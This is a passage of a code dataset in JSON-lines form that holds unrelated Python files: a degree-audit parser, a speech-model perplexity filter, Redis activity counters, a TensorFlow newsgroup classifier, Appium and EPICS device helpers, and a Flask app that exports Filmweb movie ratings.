want classes in progress: use time = \"IP\"\n#If you want classes you have scheduled: use time = \"FUTURE\"\ndef getCourseSet(fileK, time):\n\n soup = BeautifulSoup(fileK, \"lxml\")\n\n\n setOfCoursesIP = set()\n setOfCoursesFuture = set()\n setOfCoursesTaken = set()\n setOfCoursesRemaining = set()\n\n currentTerm = \"AU20\"\n\n if(time != \"REMAINING\"):\n trList = soup.find_all('tr', {'class': \"takenCourse\"})\n for setTr in trList:\n list1 = setTr.findChildren()\n if (termComparator(currentTerm, list1[0].text.strip()) == \"=\"):\n addToSet(setOfCoursesIP, list1[1].text.strip())\n elif (termComparator(currentTerm, list1[0].text.strip()) == \"<\"):\n addToSet(setOfCoursesFuture, list1[1].text.strip())\n else:\n addToSet(setOfCoursesTaken, list1[1].text.strip())\n if(time == \"TAKEN\"):\n return setOfCoursesTaken\n elif(time == \"IP\"):\n return setOfCoursesIP\n elif(time == \"FUTURE\"):\n return setOfCoursesFuture\n else:\n raise Exception(\"This is an invalid set of Class Selection: Choose from TAKEN, IP or FUTURE\")\n else:\n trList = soup.find_all('td',{'class':\"fromcourselist\"})\n for setTr in trList:\n list1 = setTr.findChildren()\n for x in list1:\n #print(x['class'][0])\n if(x['class'][0]!=\"number\"):\n string = x['department'] + \" \" + x['number']\n addToSet(setOfCoursesRemaining,string)\n return setOfCoursesRemaining\n\n\n\n\n\n#term 1 should generally be current term\n#returns > if term1 > term2\n# < if term 1 < term 2\n# = if term 1 = term 2\ndef termComparator(term1, term2):\n temp1 = term1[2:len(term1)]\n temp2 = term2[2:len(term2)]\n if(temp1 == temp2):\n if(term1[0:2]==\"AU\" and term2[0:2]==\"SP\"):\n return \">\"\n elif(term1[0:2]==\"SP\" and term2[0:2]==\"AU\"):\n return \"<\"\n else:\n return \"=\"\n elif(temp1 > temp2):\n return \">\"\n elif(temp1 < temp2):\n return \"<\"\n\n#given a setA and course, adds course if it hasn't already been added to setA\ndef addToSet(setA,course):\n bol = True\n for k in setA:\n if(k==course):\n bol = False\n if(bol == True):\n setA.add(course)\n return\n\n# MAIN Method below: Above are methods\n\n#with filedialog.askopenfile(initialdir=\"/\") as input:\n# fileK = open(input.name)\nfileK = open(\"DegAudit.html\")\nl = getCourseSet(fileK,\"REMAINING\")\n\nfor k in l:\n print(k)\n","sub_path":"audit.py","file_name":"audit.py","file_ext":"py","file_size_in_byte":3181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"189698337","text":"# coding: utf-8\n\"\"\"\nThis modules holds methods for generating predictions from a model.\n\"\"\"\nimport os\nimport sys\nfrom typing import List, Optional\nfrom logging import Logger\nimport numpy as np\n\nimport torch\nfrom torchtext.data import Dataset, Field\n\nfrom speechjoey.helpers import load_config, make_logger,\\\n get_latest_checkpoint, load_checkpoint\nfrom speechjoey.model import build_model, Model\nfrom speechjoey.speech_model import build_speech_model, SpeechModel\nfrom speechjoey.batch import Batch\nfrom speechjoey.data import load_data, load_audio_data, make_data_iter\nfrom speechjoey.constants import UNK_TOKEN, PAD_TOKEN, EOS_TOKEN\nfrom speechjoey.loss import XentLoss\n\n# pylint: disable=too-many-arguments,too-many-locals,no-member\n\n\ndef generate_perplexities_on_data(model: Model, data: Dataset,\n logger: Logger,\n use_cuda: bool, max_output_length: int,\n loss_function: torch.nn.Module = None,\n ) \\\n -> List[float]:\n \"\"\"\n Generate a list of perplexities for every data example\n in given data, by validating on them.\n\n :param model: model module\n :param logger: logger\n :param data: dataset for validation\n :param use_cuda: if True, use CUDA\n :param max_output_length: maximum length for generated hypotheses\n :param loss_function: loss function that computes a scalar loss\n for given inputs and targets\n\n :return:\n - ppls_list: List of ppls results on data examples,\n \"\"\"\n\n valid_iter = make_data_iter(\n dataset=data, batch_size=1, batch_type=\"sentence\",\n shuffle=False, train=False)\n valid_sources_raw = data.src\n pad_index = model.src_vocab.stoi[PAD_TOKEN]\n # disable dropout\n model.eval()\n # don't track gradients during validation\n with torch.no_grad():\n ppls_list = []\n logger.info(\"Starting train data validation\")\n for i, valid_batch in enumerate(iter(valid_iter)):\n # run as during training to get validation loss (e.g. xent)\n\n if i % 1000 == 0:\n logger.info(\"{} sentences done\".format(str(i)))\n\n batch = Batch(valid_batch, pad_index, use_cuda=use_cuda)\n # sort batch now by src length and keep track of order\n\n # run as during training with teacher forcing\n if loss_function is not None and batch.trg is not None:\n batch_loss = model.get_loss_for_batch(\n batch, loss_function=loss_function)\n current_loss = batch_loss\n current_ntokens = batch.ntokens\n current_ppl = torch.exp(current_loss / current_ntokens)\n ppls_list.append(float(current_ppl))\n\n logger.info(\"Done with all {} sentences\".format(i + 1))\n\n return ppls_list\n\n\n# pylint: disable-msg=logging-too-many-args\ndef filter_noise(cfg_file,\n ckpt: str,\n output_path: str = None,\n logger: Logger = None) -> None:\n \"\"\"\n Main test function. Handles loading a model from checkpoint, generating\n translations and storing them and attention plots.\n\n :param cfg_file: path to configuration file\n :param ckpt: path to checkpoint to load\n :param output_path: path to output\n :param logger: log output to this logger (creates new logger if not set)\n \"\"\"\n\n if logger is None:\n logger = make_logger()\n\n cfg = load_config(cfg_file)\n\n # when checkpoint is not specified, take latest (best) from model dir\n if ckpt is None:\n model_dir = cfg[\"training\"][\"model_dir\"]\n ckpt = get_latest_checkpoint(model_dir)\n if ckpt is None:\n raise FileNotFoundError(\"No checkpoint found in directory {}.\"\n .format(model_dir))\n try:\n step = ckpt.split(model_dir + \"/\")[1].split(\".ckpt\")[0]\n except IndexError:\n step = \"best\"\n\n use_cuda = cfg[\"training\"].get(\"use_cuda\", False)\n max_output_length = cfg[\"training\"].get(\"max_output_length\", None)\n\n # load the data\n if cfg.get(\"speech\", True):\n train_data, _, _, src_vocab, trg_vocab = load_audio_data(\n cfg=cfg)\n else:\n train_data, _, _, src_vocab, trg_vocab = load_data(\n data_cfg=cfg[\"data\"])\n\n data_to_predict = (\"train\", train_data)\n\n # load model state from disk\n model_checkpoint = load_checkpoint(ckpt, use_cuda=use_cuda)\n\n # build model and load parameters into it\n if cfg.get(\"speech\", True):\n model = build_speech_model(\n cfg[\"model\"], src_vocab=src_vocab, trg_vocab=trg_vocab)\n else:\n model = build_model(\n cfg[\"model\"], src_vocab=src_vocab, trg_vocab=trg_vocab)\n model.load_state_dict(model_checkpoint[\"model_state\"])\n\n if use_cuda:\n model.cuda()\n\n pad_index = model.pad_index\n label_smoothing = 0.0\n loss_function = XentLoss(pad_index=pad_index,\n smoothing=label_smoothing)\n\n data_set_name, data_set = data_to_predict\n\n #pylint: disable=unused-variable\n ppls_list = generate_perplexities_on_data(\n model, data=data_set, max_output_length=max_output_length,\n use_cuda=use_cuda, loss_function=loss_function,\n logger=logger)\n #pylint: enable=unused-variable\n\n if output_path is None:\n raise ValueError(\"Output path must be specified\")\n\n else:\n if not os.path.isdir(output_path):\n os.makedirs(output_path)\n output_path_set = os.path.join(\n output_path, data_set_name + \"_perplexities.txt\")\n with open(output_path_set, \"w\") as outfile:\n first_iteration = True\n for ppls in ppls_list:\n if not first_iteration:\n outfile.write(\"\\n\")\n outfile.write(str(ppls))\n first_iteration = False\n\n logger.info(\"Perplexities saved to: %s\", output_path_set)\n","sub_path":"speechjoey/filtering.py","file_name":"filtering.py","file_ext":"py","file_size_in_byte":5996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"6235663","text":"class Solution:\n def firstMissingPositive(self, nums):\n nums.sort()\n length = len(nums)\n try:\n pos = nums.index(1)\n while True:\n if nums[pos+1]-nums[pos] == 1 or nums[pos+1]-nums[pos] == 0:\n pos += 1\n if pos+1 == length:\n return nums[pos]+1\n continue\n else:\n return nums[pos]+1\n except ValueError:\n return 1\nnums = [7,8,9,11,12]\nresult = Solution().firstMissingPositive(nums=nums)\nprint(result)","sub_path":"41. 缺失的第一个正数.py","file_name":"41. 缺失的第一个正数.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"522530866","text":"# -*- coding: UTF-8 -*-\n'''\ntest save in a redis not in the cluster_redis\n'''\nimport sys\nimport csv\nimport json\nimport time\nimport redis\nreload(sys)\nsys.path.append('../../')\nfrom time_utils import ts2datetime, datetime2ts\nfrom global_utils import R_CLUSTER_FLOW2 as r_cluster\n\n\n\n# save redis as Date:{uid1:'{str(at_uid1):count1,... }', uid2:'str(at_uid2):count2,...'}\ndef save_at(uid, at_uid, timestamp):\n date = ts2datetime(timestamp)\n ts = datetime2ts(date)\n key = str(uid)\n try:\n ruid_count_string = r_cluster.hget('at_'+str(ts), str(uid))\n ruid_count_dict = json.loads(ruid_count_string)\n try:\n ruid_count_dict[str(at_uid)] += 1\n except:\n ruid_count_dict[str(at_uid)] = 1\n r_cluster.hset('at_'+str(ts), str(uid), json.dumps(ruid_count_dict))\n except:\n r_cluster.hset('at_'+str(ts), str(uid), json.dumps({str(at_uid):1}))\n\n\n#abandon in version-15-12-08\n'''\n# save redis as Date:{uid1:'{ip:count...}', uid2:'{ip:count....}'}\ndef save_city(uid, ip, timestamp):\n date = ts2datetime(timestamp)\n ts = datetime2ts(date)\n key = str(uid)\n try:\n ip_count_string = r_cluster.hget('ip_'+str(ts), str(uid))\n ip_count_dict = json.loads(ip_count_string)\n try:\n ip_count_dict[str(ip)] += 1\n except:\n ip_count_dict[str(ip)] = 1\n r_cluster.hset('ip_'+str(ts), str(uid), json.dumps(ip_count_dict))\n except:\n r_cluster.hset('ip_'+str(ts), str(uid), json.dumps({str(ip):1}))\n'''\n\n#save redis as {date:{uid:'{ip:'timestamp1×tamp2'}'}}\ndef save_city_timestamp(uid, ip, timestamp):\n date = ts2datetime(timestamp)\n ts = datetime2ts(date)\n try:\n ip_timestamp_string = r_cluster.hget('new_ip_'+str(ts), str(uid))\n ip_timestamp_string_dict = json.loads(ip_timestamp_string)\n try:\n add_string = '&'+str(timestamp)\n ip_timestamp_string_dict[str(ip)] += add_string\n except:\n ip_timestamp_string_dict[str(ip)] = str(timestamp)\n r_cluster.hset('new_ip_'+str(ts), str(uid), json.dumps(ip_timestamp_string_dict))\n\n except:\n r_cluster.hset('new_ip_'+str(ts), str(uid), json.dumps({str(ip): str(timestamp)}))\n \n\n# save redis as 'activity_' + Date:{uid1:'{}', uid2:'{}'} \ndef save_activity(uid, ts, time_segment):\n key = str(ts)\n try:\n activity_count_dict = r_cluster.hget('activity_' + key, str(uid))\n activity_count_dict = json.loads(activity_count_dict)\n try:\n activity_count_dict[str(time_segment)] += 1\n except:\n activity_count_dict[str(time_segment)] = 1\n r_cluster.hset('activity_' + key, str(uid), json.dumps(activity_count_dict))\n except:\n r_cluster.hset('activity_' + key, str(uid), json.dumps({str(time_segment): 1}))\n\n","sub_path":"knowledge/cron/flow2/test_save_attribute.py","file_name":"test_save_attribute.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340217075","text":"from collections import Counter\nimport numpy as np\nfrom sklearn.datasets import fetch_20newsgroups\nimport tensorflow as tf\nimport pandas as pd\n\n# 导入sklearn集合中的数据集,有监督学习，即里面的数据已经分好了类别\n# 具体参见http://scikit-learn.org/stable/datasets/twenty_newsgroups.html\ncategories = [\"comp.graphics\",\"sci.space\",\"rec.sport.baseball\"]\ntrain_set = fetch_20newsgroups(subset='train',categories=categories)\ntest_set = fetch_20newsgroups(subset='test', categories=categories)\n# print('total texts in train:',len(train_set.data))\n# print('total texts in test:',len(test_set.data))\n# 建立数据集单词字典，最终形式是text_index['the'] = 数量\nvocab = Counter()\nfor data in train_set.data:\n for word in data.split(' '):\n vocab[word.lower()] += 1\n\nfor test_data in test_set.data:\n for word in test_data.split(' '):\n vocab[word] += 1\nprint(len(vocab))\ntotal_words = len(vocab)\n\ndef get_index(vocab):\n # 先声明word是字典，否则word[element]报错\n word={}\n for i, element in enumerate(vocab):\n word[element.lower()] = i\n return word\n\ntext_index = get_index(vocab)\n\nprint(\"the is %s\" % text_index['the'])\n\n# 每层神经元数，包括输入神经元，隐藏神经元，输出神经元\"comp.graphics\",\"sci.space\",\"rec.sport.baseball\"\nn_hidden1 = 100\nn_hiddent2 = 100\nn_input_number = total_words\nn_class = 3\n\n# 在 神经网络的术语里，一次 epoch = 一个向前传递（得到输出的值）和一个所有训练示例的向后传递（更新权重）。\nlearning_rate = 0.01\nbatch_size = 150\ntraining_epochs = 10\ndisplay_step = 1\n\n\n\n# shape的None 元素对应于大小可变的维度在测试模型时，我们将用更大的批处理来提供字典，\n# 这就是为什么需要定义一个可变的批处理维度。\ninput_tensor = tf.placeholder(tf.float32, [None, n_input_number], name='input')\noutput_tensor = tf.placeholder(tf.float32, [None, n_class], name='output')\n\n# 神经元计算\ndef out_prediction(input_tensor, weights, biases):\n # 定义乘法运算矩阵乘法\n # relu是激活函数\n layer_1_multiplication = tf.matmul(input_tensor,weights['h1'])\n layer_1_addition = tf.add(layer_1_multiplication, biases['b1'])\n layer_1_activation = tf.nn.relu(layer_1_addition)\n\n layer_2_multiplication = tf.matmul(layer_1_activation, weights['h2'])\n layer_2_addition = tf.add(layer_2_multiplication, biases['b2'])\n layer_2_activation = tf.nn.relu(layer_2_addition)\n\n out_layer_multiplication = tf.matmul(layer_2_activation, weights['out'])\n out_layer_addition = out_layer_multiplication + biases['out']\n\n return out_layer_addition\n# shape参数含义；[]表示一个数，[3]表示长为3的向量，\n# [2,3]表示矩阵或者张量(tensor)同一个线性变换在不同的基下的表示\n# https://www.zhihu.com/question/20695804\n# 利用正态分布启动权值和偏差值\nweights = {\n 'h1':tf.Variable(tf.random_normal([n_input_number, n_hidden1])),\n 'h2':tf.Variable(tf.random_normal([n_hidden1, n_hiddent2])),\n 'out':tf.Variable(tf.random_normal([n_hiddent2, n_class]))\n}\nbiases = {\n 'b1':tf.Variable(tf.random_normal([n_hidden1])),\n 'b2':tf.Variable(tf.random_normal([n_hiddent2])),\n 'out':tf.Variable(tf.random_normal([n_class]))\n}\n\n\nprediction = out_prediction(input_tensor, weights, biases)\n\n# 由于分类问题，所以使用交叉熵误差进行优化，不断更新权值和output_tensor\ncross_loss = tf.nn.softmax_cross_entropy_with_logits(logits=prediction, labels=output_tensor)\nloss = tf.reduce_mean(cross_loss)\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(loss)\n\n# 数据初始化\ninit = tf.global_variables_initializer()\n\n# 批处理数据函数\ndef get_batch(df, i, batch_size):\n batches = []\n results = []\n texts = df.data[i * batch_size:i * batch_size + batch_size]\n categories = df.target[i * batch_size:i * batch_size + batch_size]\n# 构建矩阵索引\n for text in texts:\n layer = np.zeros(total_words, dtype=float)\n for word in text.split(' '):\n layer[text_index[word.lower()]] += 1\n\n batches.append(layer)\n\n for category in categories:\n y = np.zeros((3), dtype=float)\n if category == 0:\n y[0] = 1\n elif category == 1:\n y[1] = 1\n else:\n y[2] = 1\n results.append(y)\n\n return np.array(batches), np.array(results)\n\n# Session定义了Operation操作对象执行环境，在这里进行模型训练\nwith tf.Session() as sess:\n sess.run(init)\n\n # Training cycle\n for epoch in range(training_epochs):\n avg_cost = 0.\n total_batch = int(len(train_set.data)/batch_size)\n # Loop over all batches\n for i in range(total_batch):\n batch_x,batch_y = get_batch(train_set,i,batch_size)\n # Run optimization op (backprop) and cost op (to get loss value)\n # op（source op），当运行该函数，启动默认图，即运行out_prediction，并不断更新权值和分类结果\n # tf.Session.run(fetches, feed_dict=None, options=None, run_metadata=None)\n # feed_dict 参数是我们为每步运行所输入的数据。为了传递这个数据，我们需要定义tf.placeholders（提供给 feed_dict）\n c,_ = sess.run([loss,optimizer], feed_dict={input_tensor: batch_x,output_tensor:batch_y})\n # Compute average loss\n avg_cost += c / total_batch\n # Display logs per epoch step\n if epoch % display_step == 0:\n print(\"Epoch:\", '%04d' % (epoch+1), \"loss=\", \\\n \"{:.9f}\".format(avg_cost))\n print(\"Optimization Finished!\")\n\n\n # Test model\n correct_prediction = tf.equal(tf.argmax(prediction, 1), tf.argmax(output_tensor, 1))\n # Calculate accuracy\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n total_test_data = len(train_set.target)\n batch_x_test, batch_y_test = get_batch(test_set,0,total_test_data)\n print(\"Accuracy:\", accuracy.eval({input_tensor: batch_x_test, output_tensor: batch_y_test}))\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"TensorFlow1.py","file_name":"TensorFlow1.py","file_ext":"py","file_size_in_byte":6130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"146372771","text":"\"\"\"\n存放基本的方法，比如：初始化driver,find查找元素\n\"\"\"\nimport logging\n\nfrom appium.webdriver.common.mobileby import MobileBy\nfrom appium.webdriver.webdriver import WebDriver\nfrom selenium.webdriver.support.wait import WebDriverWait\n\n\nclass BasePage:\n logging.basicConfig(level=logging.INFO)\n\n def __init__(self, driver: WebDriver = None):\n self.driver = driver\n\n def find(self, locator):\n logging.info(f'find:{locator}')\n return self.driver.find_element(*locator) # *是用来解包的，传过来是元组的形式\n\n def find_and_click(self, locator):\n logging.info(f'find_and_click:{locator}')\n self.find(locator).click() # 调用本地封装的find方法\n\n def find_and_sendkeys(self, locator, text):\n logging.info(f'find_and_sendkeys:{text}')\n self.find(locator).send_keys(text)\n\n def find_by_scroll(self, text):\n logging.info('find_by_scroll')\n return self.driver.find_element(MobileBy.ANDROID_UIAUTOMATOR,\n 'new UiScrollable'\n '(new UiSelector().'\n 'scrollable(true).'\n 'instance(0)).'\n 'scrollIntoView('\n 'new UiSelector().'\n f'text(\"{text}\").instance(0));')\n\n def webderiver_wait(self, locator, timeout=10):\n logging.info(f'webderiver_wait:{locator},timeout:{timeout}')\n element = WebDriverWait(self.driver, timeout).until(\n lambda x: x.find_element(*locator))\n return element\n\n def back(self, num=1):\n logging.info(f'back:{num}')\n for i in range(num):\n self.driver.back()\n","sub_path":"app/企业微信po/page/basepage.py","file_name":"basepage.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"92243656","text":"from nicos.devices.epics import EpicsReadable, pvname, EpicsDevice\nfrom nicos.core import status, Param, Override, Attach, usermethod, Readable, SIMULATION\n\n\nclass DelayedEpicsReadable(EpicsDevice, Readable):\n parameters = {\n 'readpv': Param('PV for reading device value',\n type=pvname, mandatory=False),\n }\n\n parameter_overrides = {\n 'pollinterval': Override(default=0.5)\n }\n\n pv_parameters = set(('readpv',))\n\n def doPreinit(self, mode):\n self._pvs = {}\n self._pvctrls = {}\n\n def doRead(self, maxage=0):\n try:\n return self._get_pv('readpv')\n except KeyError:\n raise RuntimeError('test')\n\n def setPVName(self, name):\n self._setROParam('readpv', name)\n self._initialise_pvs()\n\n\nclass EssChopper(EpicsDevice, Readable):\n parameters = {\n 'pvprefix': Param('PV prefix of the chopper.', type=pvname, mandatory=True)\n }\n\n attached_devices = {\n 'speed': Attach('Speed of the chopper disc', DelayedEpicsReadable),\n 'phase': Attach('Phase of the chopper disc', DelayedEpicsReadable),\n 'parkposition': Attach('Position in parked state', DelayedEpicsReadable),\n 'state': Attach('Current state of the chopper', DelayedEpicsReadable)\n }\n\n state_map = {\n 'init': (status.ERROR, 'Interlocks not fulfilled'),\n 'stopped': (status.OK, 'Waiting for commands'),\n 'parked': (status.OK, 'Parked'),\n 'parking': (status.BUSY, 'Moving to park position'),\n 'accelerating': (status.BUSY, 'Adjusting speed to target'),\n 'phase_locking': (status.BUSY, 'Acquiring phase lock'),\n 'phase_locked': (status.OK, 'Speed and phase locked'),\n 'stopping': (status.BUSY, 'Decelerating disc'),\n 'idle': (status.OK, 'Disc rotating freely, waiting for command.'),\n 'bearings': (status.BUSY, 'Initialising bearings'),\n }\n\n parameter_overrides = {\n 'unit': Override(mandatory=False),\n }\n\n internal_chopper_fields = {\n 'speed_setpoint': 'Spd',\n 'phase_setpoint': 'Phs',\n 'parkposition_setpoint': 'ParkAng',\n 'command': 'CmdS',\n }\n\n def _get_pv_parameters(self):\n return self.internal_chopper_fields.keys()\n\n def _get_pv_name(self, pvparam):\n return self.pvprefix + self.internal_chopper_fields[pvparam]\n\n def doInit(self, mode):\n if mode != SIMULATION:\n self._attached_speed.setPVName(self.pvprefix + 'Spd-RB')\n self._attached_phase.setPVName(self.pvprefix + 'Phs-RB')\n self._attached_state.setPVName(self.pvprefix + 'State')\n self._attached_parkposition.setPVName(self.pvprefix + 'ParkAng-RB')\n\n def doRead(self, maxage=0):\n return round(self._attached_speed.read(maxage), 2), round(self._attached_phase.read(maxage), 2)\n\n def doStatus(self, maxage=0):\n return self.state_map[self._attached_state.read()]\n\n @usermethod\n def interlock(self):\n self._put_pv('command', 'init')\n\n @usermethod\n def setSpeedAndPhase(self, speed, phase):\n self._put_pv('speed_setpoint', speed)\n self._put_pv('phase_setpoint', phase)\n self._put_pv('command', 'start')\n\n @usermethod\n def stop(self):\n self._put_pv('command', 'stop')\n\n @usermethod\n def parkAt(self, position):\n self._put_pv('parkposition_setpoint', position)\n self._put_pv('command', 'park')\n\n @usermethod\n def coast(self):\n self._put_pv('command', 'unlock')\n\n @usermethod\n def release(self):\n self._put_pv('command', 'deinit')\n","sub_path":"NICOS/essiip/lib/chopper.py","file_name":"chopper.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"59884999","text":"from flask import (\n session, render_template, url_for, flash,\n request, redirect, jsonify, Response\n)\n\nfrom app import app, fw, country_codes\nfrom .forms import UserNameForm\nfrom .utils import (\n batch_rename, subset, pl_cols_mapping, untypical_subset,\n make_unique, country_fix, get_top_movie, get_summary, fit_lm\n)\nfrom .tasks import (\n get_raw_data, fetch_row, combine_entries,\n get_rows_then_combine, get_user_data\n)\nfrom celery import chain\n\nfrom filmweb.filmweb import *\nfrom copy import deepcopy\nfrom operator import itemgetter\nimport math\nimport time\nimport random\nimport json\nimport re\nimport requests\nfrom bs4 import BeautifulSoup\n\nEXPORT_TIMEOUT = 10\n\n@app.errorhandler(404)\ndef page_not_found(e):\n \"\"\"404 error redirect\"\"\"\n return render_template('404.html'), 404\n\n@app.route('/', methods = ['GET', 'POST'])\n@app.route('/index', methods = ['GET', 'POST'])\ndef index():\n \"\"\"Main page view\"\"\"\n for key in ['task_id', 'combine_entries_id', 'user_name', 'fw_id', 'type']:\n session[key] = None\n form = UserNameForm()\n if form.validate_on_submit():\n session['user_name'] = form.user.data\n return redirect(url_for('fetch'))\n return render_template('index.html', form=form)\n\n@app.route('/fetch', methods=['GET'])\ndef fetch():\n \"\"\"Page for monitoring celelery data export status\"\"\"\n user_name = session['user_name']\n if user_name is None:\n return redirect(url_for('index'))\n fw_url = 'https://www.filmweb.pl/user/{}'.format(user_name)\n try:\n fw_page = requests.get(fw_url)\n except:\n flash((\n 'Problem z połączeniem. '\n 'Możliwe, że strona filmweb.pl '\n 'jest chwilowo niedostępna.'\n ))\n return redirect(url_for('index'))\n soup = BeautifulSoup(fw_page.content, \"html.parser\")\n # check user existence / no of votes before proceeding\n fw_preview = soup.find('div', class_='userPreview')\n fw_uid = fw_preview['data-id']\n # when an user does not exist, beautiful soup returns the following string\n if fw_uid == '$user.id':\n flash('Użytkownik {} nie istnieje'.format(user_name))\n return redirect(url_for('index'))\n fw_vote_count = soup.find('div', class_='voteStatsBoxData')\n try:\n votes_count = json.loads(fw_vote_count.text)['votes']['films']\n assert (votes_count > 0)\n except:\n flash('Użytkownik {} nie ma żadnych ocen'.format(user_name))\n return redirect(url_for('index'))\n session['fw_id'] = fw_uid\n return render_template('fetch.html', user=user_name, fw_id=fw_uid)\n\n@app.route('/waiting', methods=['POST'])\ndef waiting():\n \"\"\"Returns current export status\"\"\"\n task = chain(\n get_raw_data.s(\n user=session['user_name'],\n fw_id=session['fw_id']\n ),\n get_rows_then_combine.s()\n ).apply_async()\n session['task_id'] = task.id\n response = jsonify({}), 202, {'Location': url_for('taskstatus', task_id=task.id)}\n return response\n\n@app.route('/status/')\ndef taskstatus(task_id):\n \"\"\"\n Queries celery worker for taskstatus\n parameter task_id refers to get_rows_then_combine\n Need to traverse task structure to get id of combine_entries task\n \"\"\"\n start = time.time()\n combine_entries_id = session.get('combine_entries_id')\n if combine_entries_id is None:\n while True:\n duration = time.time()-start\n if duration > EXPORT_TIMEOUT:\n response = {\n 'state': 'FAILURE',\n 'current': 0,\n 'total': 0,\n 'status': 'Błąd'\n }\n return jsonify(response)\n task = get_rows_then_combine.AsyncResult(task_id)\n if task.info is not None:\n combine_entries_id = task.info[0][0]\n session['combine_entries_id'] = combine_entries_id\n break\n task = get_rows_then_combine.AsyncResult(task_id)\n total = len(task.children[0])\n combine_entries_task = combine_entries.AsyncResult(combine_entries_id)\n fetch_row_group = task.children[0]\n if combine_entries_task.ready():\n response = {\n 'state': combine_entries_task.state,\n 'current': 1,\n 'total': 1,\n 'status': 'Oceny pobrane'\n }\n elif task.state == 'PENDING':\n response = {\n 'state': combine_entries_task.state,\n 'current': 0,\n 'total': 1,\n 'status': 'Rozpoczynam pobieranie...'\n }\n elif task.state != 'FAILURE':\n response = {\n 'state': combine_entries_task.state,\n 'current': fetch_row_group.completed_count(),\n 'total': total,\n 'status': 'Masz {} filmów, trwa ściąganie...'.format(total)\n }\n else:\n response = {\n 'state': combine_entries_task.state,\n 'current': 1,\n 'total': 1,\n 'status': str(task.info)\n }\n return jsonify(response)\n\n@app.route('/report', methods = ['GET'])\ndef report():\n \"\"\"Main view for generating report\"\"\"\n if request.args.get('type') == 'sample':\n session['type'] = 'sample'\n session['user_name'] = (\n 'Przykładowy eksport danych '\n '(użytkownik pieca, stan na 03.2019)'\n )\n movies = get_user_data(\n session_type=session.get('type'),\n task_id=session.get('combine_entries_id')\n )\n if not movies:\n return redirect(url_for('index'))\n # the most untypical ratings\n for entry in movies:\n url = entry.get('url')\n if url is None:\n url = 'https://www.filmweb.pl/films/search?q={}'.format(entry.get('name'))\n entry['url'] = url\n try:\n user_rate = float(entry.get('rate_user'))\n global_rate = float(entry.get('rate_global'))\n entry['rate_diff'] = user_rate-global_rate\n except:\n entry['rate_diff'] = None\n movies_untypical_sort = sorted(\n movies,\n key=itemgetter('rate_diff'),\n reverse=True\n )\n movies_untypical_sort = [subset(entry, untypical_subset) for entry in movies_untypical_sort]\n untypical_pos = movies_untypical_sort[:10]\n untypical_neg = movies_untypical_sort[-10:][::-1]\n for i in range(len(untypical_neg)):\n untypical_pos[i]['rate_global'] = round(untypical_pos[i].pop('rate_global'), 2)\n untypical_neg[i]['rate_global'] = round(untypical_neg[i].pop('rate_global'), 2)\n\n # Data with one country/genre per entry\n movies_country_unique = make_unique(country_fix(movies), 'countries')\n movies_genre_unique = make_unique(movies, 'genres')\n\n # generate summaries\n top_countries_count, top_countries_mean = get_summary(movies_country_unique, 'countries')\n top_directors_count, top_directors_mean = get_summary(movies, 'director_name')\n top_genres_count, top_genres_mean = get_summary(movies_genre_unique, 'genres')\n\n summaries = {\n 'untypical_pos':untypical_pos,\n 'untypical_neg':untypical_neg,\n 'top_countries_count':top_countries_count,\n 'top_directors_count':top_directors_count,\n 'top_genres_count':top_genres_count,\n 'top_countries_mean':top_countries_mean,\n 'top_directors_mean':top_directors_mean,\n 'top_genres_mean':top_genres_mean\n }\n\n return render_template('report.html', summaries = summaries)\n\n@app.route(\"/getcsv\")\ndef getcsv():\n \"\"\"Generate and send obtained data\"\"\"\n movies = get_user_data(\n session_type = session.get('type'),\n task_id = session.get('combine_entries_id')\n )\n if not movies:\n return redirect(url_for('index'))\n movies_pl = deepcopy(movies)\n for entry in movies_pl:\n if entry.get('url') is None:\n entry['url'] = 'https://www.filmweb.pl/films/search?q={}'.format(entry.get('name'))\n batch_rename(entry, pl_cols_mapping)\n movies_pl = [subset(el, list(pl_cols_mapping.values())) for el in movies_pl]\n string_file = ', '.join(['\"{}\"'.format(str(el)) for el in list(movies_pl[0].keys())])\n string_file += '\\n'\n for entry in movies_pl:\n row = ', '.join(\n ['\"{}\"'.format(re.sub('\\\"', '', str(el))) for el in list(entry.values())]\n )\n string_file += \"{}\\n\".format(row)\n header = {\"Content-disposition\": \"attachment; filename=fw_export.csv\"}\n return Response(\n string_file.encode('utf-8'),\n mimetype = \"text/csv\",\n headers = header\n )\n\n@app.route('/plotdata', methods = ['GET'])\ndef plotdata():\n \"\"\"Returns formatted json data for visualizations\"\"\"\n jitter = 0.4\n movies = get_user_data(\n session_type = session.get('type'),\n task_id = session.get('combine_entries_id')\n )\n names, user_rates, global_rates, votes, votes_log, dir_sex = ([] for i in range(6))\n keys = ['name', 'rate_user', 'rate_global', 'votes', 'year', 'director_sex']\n for entry in movies:\n if None in [entry.get(key) for key in keys]:\n continue\n name_formatted = '{} ({})'.format(\n entry.get('name'),\n entry.get('year')\n )\n names.append(name_formatted)\n user_rate_jitter = entry.get('rate_user') + random.uniform(-jitter, jitter)\n user_rates.append(user_rate_jitter)\n global_rates.append(entry.get('rate_global'))\n vote = entry.get('votes')\n votes.append(vote)\n votes_log.append(math.log(vote))\n dir_sex.append(entry.get('director_sex'))\n global_coeff = fit_lm(global_rates, user_rates)\n votes_coeff = fit_lm(votes, user_rates)\n votes_log_coeff = fit_lm(votes_log, user_rates)\n movies_country_unique = make_unique(country_fix(movies), 'countries')\n country_count, country_mean = get_summary(\n movies_country_unique,\n 'countries',\n all=True\n )\n # the same keys in both dicts\n map_tooltip = dict()\n for key in country_count:\n # put actual count to tooltip but log value for plotting\n tooltip = '{} 🎬 {} ★ {}'.format(\n key,\n country_count.get(key),\n 